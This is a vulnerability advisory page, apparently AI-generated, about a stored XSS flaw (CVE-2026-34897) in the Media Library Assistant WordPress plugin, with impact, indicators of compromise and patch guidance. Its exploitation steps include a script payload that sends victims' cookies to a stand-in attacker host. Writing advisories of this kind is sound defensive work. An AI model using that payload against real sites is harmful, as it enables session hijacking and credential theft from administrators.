CVE-2026-34897
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-34897 is a Stored Cross-Site Scripting (XSS) vulnerability in the Media Library Assistant WordPress plugin developed by David Lingren. It affects all versions of the plugin through 3.34 and was discovered by researcher Sajjad Haqi, reported on February 27, 2026, and publicly disclosed on April 6, 2026. The vulnerability was assigned a CVSS v3.1 base score of 6.5 (Medium) by Patchstack (Patchstack, Github Advisory).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Stored XSS variant. An authenticated attacker with at least Contributor-level privileges can inject malicious scripts into fields processed by the Media Library Assistant plugin; these scripts are persisted in the database and subsequently executed in the browsers of other users who view the affected content. Exploitation requires low attack complexity over a network vector, but does require user interaction from a victim to trigger the stored payload (Patchstack, Github Advisory).

Impact

Successful exploitation allows an authenticated attacker to inject persistent malicious scripts that execute in the browsers of other users — including administrators — who interact with the compromised content. This can result in session hijacking, credential theft, unauthorized actions performed on behalf of victims, and defacement or manipulation of displayed content. The changed scope in the CVSS vector indicates that the impact extends beyond the plugin itself to affect other components of the WordPress site and its users (Patchstack).

Exploitability

There is no public proof-of-concept exploit code and no evidence of active in-the-wild exploitation at this time. The EPSS score is approximately 0.033–0.039%, placing it in the 12th percentile for exploitation likelihood within 30 days. No threat actor attribution has been reported, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Github Advisory, Patchstack).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running Media Library Assistant version 3.34 or earlier using tools like WPScan or by inspecting plugin metadata in publicly accessible readme.txt files.
  2. Obtain low-privilege access: Register or use an existing account with at least Contributor-level privileges on the target WordPress site.
  3. Inject malicious payload: Navigate to a media library entry or plugin-managed field that accepts user input and submit a crafted payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> into a vulnerable input field.
  4. Payload persistence: The malicious script is stored in the WordPress database by the Media Library Assistant plugin without adequate sanitization.
  5. Trigger execution: Wait for a privileged user (e.g., an administrator) to view the affected media library page or content, causing the stored script to execute in their browser.
  6. Achieve objective: The executed script can exfiltrate session cookies, perform actions as the victim user, or redirect the victim to a malicious site (Patchstack).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to media library management pages from low-privilege accounts containing encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=).
  • Database: Unexpected <script> tags, JavaScript URIs (javascript:), or HTML event attributes in Media Library Assistant plugin database fields (e.g., wp_postmeta or custom plugin tables).
  • Network: Outbound requests from victim browsers to unknown external domains shortly after visiting WordPress admin media library pages, potentially carrying cookie or session data as query parameters.
  • Process/Behavior: Unusual admin-level actions (e.g., new user creation, plugin installation, settings changes) occurring without corresponding administrator activity, suggesting session hijacking via XSS.

Mitigation and workarounds

The vulnerability is patched in Media Library Assistant version 3.35; all users should update immediately (Patchstack). As interim mitigations, restrict Media Library Assistant access to trusted users only, implement a Content Security Policy (CSP) to limit script execution sources, and sanitize and validate all user inputs before storage. Patchstack users can enable auto-update for vulnerable plugins to receive protection automatically.

Community reactions

Wordfence included this vulnerability in their weekly WordPress vulnerability report for April 6–12, 2026, and Sucuri referenced it in their April 2026 vulnerability patch roundup, indicating routine coverage within the WordPress security community. No exceptional researcher commentary or significant social media discussion has been identified beyond standard vulnerability database aggregation.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-14444HIGH7.5
  • wp-fusion
NoYesSep 07, 2026
CVE-2026-6431HIGH7.2
  • profile-builder
NoYesSep 07, 2026
CVE-2026-12757MEDIUM6.5
  • email-subscribers
NoYesSep 07, 2026
CVE-2026-8279MEDIUM5.3
  • learning-management-system
NoYesSep 07, 2026
CVE-2026-4945MEDIUM5.3
  • otter-blocks
NoYesSep 07, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management